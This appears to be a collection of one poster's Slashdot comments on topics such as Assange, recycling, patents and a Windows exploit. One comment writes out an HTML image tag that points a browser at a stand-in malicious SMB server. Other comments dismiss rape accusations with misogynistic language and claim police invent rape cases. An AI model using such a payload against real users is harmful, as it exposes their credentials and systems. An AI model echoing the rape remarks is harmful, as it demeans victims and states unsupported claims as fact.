Or how often wacky chicks just accuse famous people for their own narcissistic reasons.
And in this case, it wasn't even the chick doing the accusation. The chick only wanted a way to compel Assange to take an STD test, after they had sex (consensual) without a condom (that bit was not consensual...).
Then, it was the police, not the "victim" who came up with the idea of rape charges.
I think Microsoft already thought of that. It's called Alt-Tab.
Ok, so instead of having to tell your visitor "it's OK for them to be checking out Slashdot because they're off-duty at the moment", you'll have to explain him "it's ok for us to run a Microsoft OS, because despite its appearance, this place is not really controlling a nuclear power station (or rocket launch, or...)"
Because in the DMCA takedown case, the onus of looking up the validity of the claim would be on an uninterested, lazy and risk averse third party, whereas in the expired patent number case, the onus would be on the potentially wronged party.
Now, in which case do you think this lookup would actually happen, and in which case it won't?
Now consider that the same exploit also works over WebDAV (which basically is just glorified http...), and suddenly egress filtering starts looking rather blunt against this threat...
If recycling pays, as the slogan claims, you would expect some trickle back to the consumer. You would expect some waste-bill reduction. Instead we see punitive measures designed to enforce feel good regulations.
In the United States maybe.
In Luxembourg, you pay waste fees only for the non-recyclable waste. The glass, paper and battery containers are free, as are the blue PMG bags.
There is no explicit repression against throwing recyclable stuff into the non-recyclable bin, but you'd need a larger bin which costs more yearly fees. So it's in everybody's interest to recycle.
Completely useless patronizing first part (if they had proper arguments, why would they need to start with ridiculing people who recycle?).Frankly, what was the point of this first part? Save yourself ten minutes of your life, and skip right to parts 2 and 3.
Completely bogus numbers about recycling glass and paper
Stupid "save the trees" strawman about recycling paper. Yes, trees grow back, but recycling paper costs less energy thus saving trees indirectly (due to less polution)
Stupid bit about "eco-friendly" landfills. Ever wondered why landfills nowadays are mindful of the environment? Maybe because people became concerned of the old ways (which were indeed a stinky mess), and improved their ways? 40 years earlier, Penn & Teller would have ridiculed eco-friendly landfills the same way that they now ridicule recycling.
When recycling was "new", infrastructure to recycle everything was not yet in place everywhere, and some of the "sorted" trash did indeed end up in the same landfills than its non-sorted counterparts. However, this was a temporary problem which went away once enough recycling capacity was available.
The park service itself has put technology to good use in countering the occasional unruliness of visitors. Last summer, several men who thought they had managed to urinate undetected into the Old Faithful geyser in Yellowstone were surprised to be confronted by rangers shortly after their stunt. It turns out that the park had installed a 24-hour camera so people could experience Old Faithful’s majesty online. Viewers spotted the men in action and called to alert the park.
I hope (for the park's sake) that the camera was duly announced...
Personally, I'd hate becoming caught on tape slinging a banana skin on a national monument after picnic...
Slashdot Mirror
Hehe...
It's not vector as in math, but rather vector as in biology. Think fleas carrying diseases.
Well, you probably don't know how to butcher a goat, either
Fortunately, there are web sites that teach you that...
at the request of Belgian authorities
at the request of who? Last I checked, Belgium didn't even have a government!
but if rapists put up therapistbay.org and
You mipselled wikileaks.org (which incidentally is hosted on the same ISP... o the irony...)
There's no money kickbacks generated to govt. cronies by solving rape crimes. Simple really.
Worse: instead they've got interest in making up rape crimes, thus watering down the credibility of real rape victims.

does that count as a separate violation for every gallon of fuel sold? (Evil Grin)
No, in case of BP, that would be a separate violation for each drop of fuel sold...

frozen bags of astronaut urine...
Hehe, looks as if astronauts aren't any better than truck drivers...?
Score:1, Gardendwarf
Teehee, apparently the fatboy political correctness brigade got hold of some modpoints...
Well, I must admit that myself I am slightly on the chubby side too, but at least I've got a sense of humor...
... but then, this cured only the symptom of having slept with the wrong person...
It's a symptom of being overweight, not doing enough sports, and having way too much cholesterol in your bloodstream.
Insecticide worked for me.
Yellow for evacuation...
Well apart from for the male nurses, who are far more likely to be colour blind..
"No, I didn't suck and swallow. I must have been the mail nurse at my hospital confusing my feeding tube with a different kind of orifice..."
Just set a couch as your screen background...
Egress filtering at the perimeter FTW.
Now consider that the same exploit also works over WebDAV (which basically is just glorified http...), and suddenly egress filtering starts looking rather blunt against this threat...
Even worse, consider visting a web page with <img src="file://maliciousSmbServer/share/test.jpg"> somewhere in it...

Not in Germany! :)
So count HR out, but it will still be relevant for marketing and customer support...
It was for the times she said yes, but he ought to have understood that she really meant no.
Any man should know that usually it's the other way round...
